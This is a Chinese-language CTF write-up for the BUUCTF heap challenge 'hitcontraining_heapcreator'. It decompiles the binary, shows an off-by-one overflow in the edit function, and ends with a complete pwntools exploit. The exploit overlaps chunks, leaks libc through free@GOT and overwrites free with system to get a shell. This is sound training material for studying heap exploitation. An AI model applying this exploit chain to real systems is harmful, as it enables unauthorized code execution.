[BUUCTF]刷題記錄:hitcontraining_heapcreator
阿新 • • 發佈:2022-05-15
hitcontraining_heapcreator
1.checksec:
2.執行一下:
有四個功能,
3.ida分析:
1.mian函式:
int __cdecl main(int argc, const char **argv, const char **envp) { char buf[8]; // [rsp+0h] [rbp-10h] BYREF unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); // 初始化 setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); while ( 1 ) { menu(); read(0, buf, 4uLL); switch ( atoi(buf) ) { case 1: create_heap(); break; case 2: edit_heap(); break; case 3: show_heap(); break; case 4: delete_heap(); break; case 5: exit(0); default: puts("Invalid Choice"); break; } } }
2.menu(選單):
int menu() { puts("--------------------------------"); puts(" Heap Creator "); puts("--------------------------------"); puts(" 1. Create a Heap "); puts(" 2. Edit a Heap "); puts(" 3. Show a Heap "); puts(" 4. Delete a Heap "); puts(" 5. Exit "); puts("--------------------------------"); return printf("Your choice :"); }
3.create_heap函式:
建立堆塊
unsigned __int64 create_heap() { __int64 v0; // rbx int i; // [rsp+4h] [rbp-2Ch] size_t size; // [rsp+8h] [rbp-28h] char buf[8]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v5; // [rsp+18h] [rbp-18h] v5 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !*(&heaparray + i) ) // 如果heaparray[i]沒有指向堆塊就申請一個0x20的chunk,讓heaparray[i]指向這個chunk { *(&heaparray + i) = malloc(0x10uLL); if ( !*(&heaparray + i) ) { puts("Allocate Error"); exit(1); } printf("Size of Heap : "); read(0, buf, 8uLL); // 輸入堆塊的size,heaparray[i][1],也就是上面malloc的0x10的第2個字長處,讓它指向一個新申請的大小為size的chunk size = atoi(buf); v0 = *(&heaparray + i); *(v0 + 8) = malloc(size); if ( !*(*(&heaparray + i) + 1) ) { puts("Allocate Error"); exit(2); } **(&heaparray + i) = size; // heaparray[i][1],也就是0x10的第1個字長儲存第2個申請的chunk的size. printf("Content of heap:"); read_input(*(*(&heaparray + i) + 1), size);// 往第2個堆塊裡輸入資料 puts("SuccessFul"); return __readfsqword(0x28u) ^ v5; } } return __readfsqword(0x28u) ^ v5; }
4.edit_heap函式:
編輯堆塊,存在off by one漏洞
unsigned __int64 edit_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL); // 根據index給chunk編輯
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Content of heap : ");
read_input(*(*(&heaparray + v1) + 1), **(&heaparray + v1) + 1LL);// 這裡**(&heaparray + v1) + 1LL表面可以輸入chunk的size+1的資料,純在off by one漏洞。
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
5.show_heap函式:
輸出堆塊的資料和size
unsigned __int64 show_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :"); // 根據index來show
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size : %ld\nContent : %s\n", **(&heaparray + v1), *(*(&heaparray + v1) + 1));// 輸出堆塊的size和content
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
6.delete_heap函式:
將堆塊free掉,並置零。
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :"); // 根據index來free堆塊
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(*(&heaparray + v1) + 1)); // 這裡會把一次申請的兩個chunk都free掉
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL; // free掉後回清0,沒有uaf
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
4.利用思路:
1.第一步:
首先分別add 4個分別為0x18,0x10,0x10,0x10的堆塊,這樣就有1個0x18,7個0x10的堆塊了,其中chunk3中寫入的'/bin/sh\x00'後面要利用到,chunk0申請為0x18的原因是,這樣申請,chunk0申請了一個0x18的堆塊,但拿到了一個size=0x20的堆塊,寫入資料時只往本堆塊寫入0x10,下個chunk的prev_size域來補足這0x8,這樣就可以溢位到下一個chunk的prev_size,然後再溢位1位元組,利用off by one修改下一個chunk的size,觸發chunk overlap。
add(0x18,'hhhh')#chunk0
add(0x10,'aaaa')#chunk1
add(0x10,'pppp')#chunk2
add(0x10,b'/bin/sh\x00')#chunk3
pwndbg> x/36gx 0x240f000
0x240f000: 0x0000000000000000 0x0000000000000021 #chunk00
0x240f010: 0x0000000000000018 0x000000000240f030 #chunk0的size和content存放地址
0x240f020: 0x0000000000000000 0x0000000000000021 #chunk0
0x240f030: 0x0000000068686868 0x0000000000000000 #hhhh
0x240f040: 0x0000000000000000 0x0000000000000021 #chunk11
0x240f050: 0x0000000000000010 0x000000000240f070 #chunk1的size和content存放地址
0x240f060: 0x0000000000000000 0x0000000000000021 #chunk1
0x240f070: 0x0000000061616161 0x0000000000000000 #aaaa
0x240f080: 0x0000000000000000 0x0000000000000021 #chunk22
0x240f090: 0x0000000000000010 0x000000000240f0b0 #chunk2的size和content存放地址
0x240f0a0: 0x0000000000000000 0x0000000000000021 #chunk2
0x240f0b0: 0x0000000070707070 0x0000000000000000 #pppp
0x240f0c0: 0x0000000000000000 0x0000000000000021 #chunk3
0x240f0d0: 0x0000000000000010 0x000000000240f0f0 #chunk3的size和content存放地址
0x240f0e0: 0x0000000000000000 0x0000000000000021 #chunk3
0x240f0f0: 0x0068732f6e69622f 0x0000000000000000 #/bin/sh\x00
0x240f100: 0x0000000000000000 0x0000000000020f01
0x240f110: 0x0000000000000000 0x0000000000000000
2.第二步:
利用 off by one 修改chunk11的的size,並把chunk11 free掉
payload1=b'a'*0x18+p8(0x81)
edit(0,payload1)
delete(1)
成功修改chunk11的size,並free掉,觸發chunk overlap。得到fake_chunk
pwndbg> x/36gx 0x1a6e000
0x1a6e000: 0x0000000000000000 0x0000000000000021
0x1a6e010: 0x0000000000000018 0x0000000001a6e030
0x1a6e020: 0x0000000000000000 0x0000000000000021
0x1a6e030: 0x6161616161616161 0x6161616161616161
0x1a6e040: 0x6161616161616161 0x0000000000000081 #chunk11的size修改成功
0x1a6e050: 0x0000000000000000 0x0000000001a6e070
0x1a6e060: 0x0000000000000000 0x0000000000000021
0x1a6e070: 0x0000000000000000 0x0000000000000000
0x1a6e080: 0x0000000000000000 0x0000000000000021
0x1a6e090: 0x0000000000000010 0x0000000001a6e0b0
0x1a6e0a0: 0x0000000000000000 0x0000000000000021
0x1a6e0b0: 0x0000000070707070 0x0000000000000000
0x1a6e0c0: 0x0000000000000000 0x0000000000000021
0x1a6e0d0: 0x0000000000000010 0x0000000001a6e0f0
0x1a6e0e0: 0x0000000000000000 0x0000000000000021
0x1a6e0f0: 0x0068732f6e69622f 0x0000000000000000
0x1a6e100: 0x0000000000000000 0x0000000000020f01
0x1a6e110: 0x0000000000000000 0x0000000000000000
3.第三步:
重新申請fake_chunk,並堆溢位修改chunk22中存放的chunk2地址為free_got地址
size=0x8
payload2=b'a'*0x40+p64(size)+p64(elf.got["free"])
add(0x70,payload2)
pwndbg> x/36gx 0x1dc7000
0x1dc7000: 0x0000000000000000 0x0000000000000021
0x1dc7010: 0x0000000000000018 0x0000000001dc7030
0x1dc7020: 0x0000000000000000 0x0000000000000021
0x1dc7030: 0x6161616161616161 0x6161616161616161
0x1dc7040: 0x6161616161616161 0x0000000000000081
0x1dc7050: 0x6161616161616161 0x6161616161616161
0x1dc7060: 0x6161616161616161 0x6161616161616161
0x1dc7070: 0x6161616161616161 0x6161616161616161
0x1dc7080: 0x6161616161616161 0x6161616161616161
0x1dc7090: 0x0000000000000008 0x0000000000602018 #成功修改為free_got地址
0x1dc70a0: 0x0000000000000000 0x0000000000000021
0x1dc70b0: 0x0000000070707070 0x0000000000000000
0x1dc70c0: 0x0000000000000000 0x0000000000000021
0x1dc70d0: 0x0000000000000010 0x0000000001dc70f0
0x1dc70e0: 0x0000000000000000 0x0000000000000021
0x1dc70f0: 0x0068732f6e69622f 0x0000000000000000
0x1dc7100: 0x0000000000000000 0x0000000000020f01
0x1dc7110: 0x0000000000000000 0x0000000000000000
4.第四步:
通過show(2),輸出chunk22裡指向的free_got裡的free函式地址,用這個地址洩漏libc,並計算得到system的地址
show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")
成功洩漏libc地址。
5.第五步:
修改free_got為system的地址,free chunk3,利用之前寫好的"/bin/sh\x00",執行free("/bin/sh\x00"),由於free_got被修改為system的地址,
所以這裡執行sysytem("/bin/sh\x00"),拿到shell.
payload3=p64(system)
edit(2,payload3)
delete(3)
pwndbg> x/20gx 0x602018
0x602018: 0x00007f10ea68c3a0 0x00000000004006a6 #修改為system的地址
0x602028: 0x00007f10ea6b66a0 0x00000000004006c6
0x602038: 0x00007f10ea69c810 0x00007f10ea73e350
0x602048: 0x00007f10ea667750 0x00007f10ea6cb180
0x602058: 0x00007f10ea6b6e80 0x00007f10ea67de90
0x602068: 0x0000000000400736 0x0000000000000000
0x602078: 0x0000000000000000 0x00007f10eaa0c620
0x602088: 0x0000000000000000 0x00007f10eaa0b8e0
拿到shell
6.exp:
![cc11a (7)](E:\CTFALL\PWNWP\hitcontraining_heapcreator\hitcontraining_heapcreator.assets\cc11a (7).png)from pwn import *
from LibcSearcher import *
context.log_level="debug"
#io=process("heapcreator")
io=remote("node4.buuoj.cn",26449)
elf=ELF("heapcreator")
def add(size,content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Size of Heap : ")
io.sendline(str(size))
io.recvuntil("Content of heap:")
io.send(content)
def edit(index,content):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
io.recvuntil("Content of heap : ")
io.send(content)
def show(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
def delete(index):
io.recvuntil("Your choice :")
io.sendline("4")
io.recvuntil("Index :")
io.sendline(str(index))
add(0x18,'hhhh')
add(0x10,'aaaa')
add(0x10,'pppp')
add(0x10,b'/bin/sh\x00')
payload1=b'a'*0x18+p8(0x81)
edit(0,payload1)
delete(1)
size=0x8
payload2=b'a'*0x40+p64(size)+p64(elf.got["free"])
add(0x70,payload2)
show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")
print("libc_base:",end='')
print(hex(libc_base))
payload3=p64(system)
edit(2,payload3)
delete(3)
#gdb.attach(io)
#pause()
io.interactive()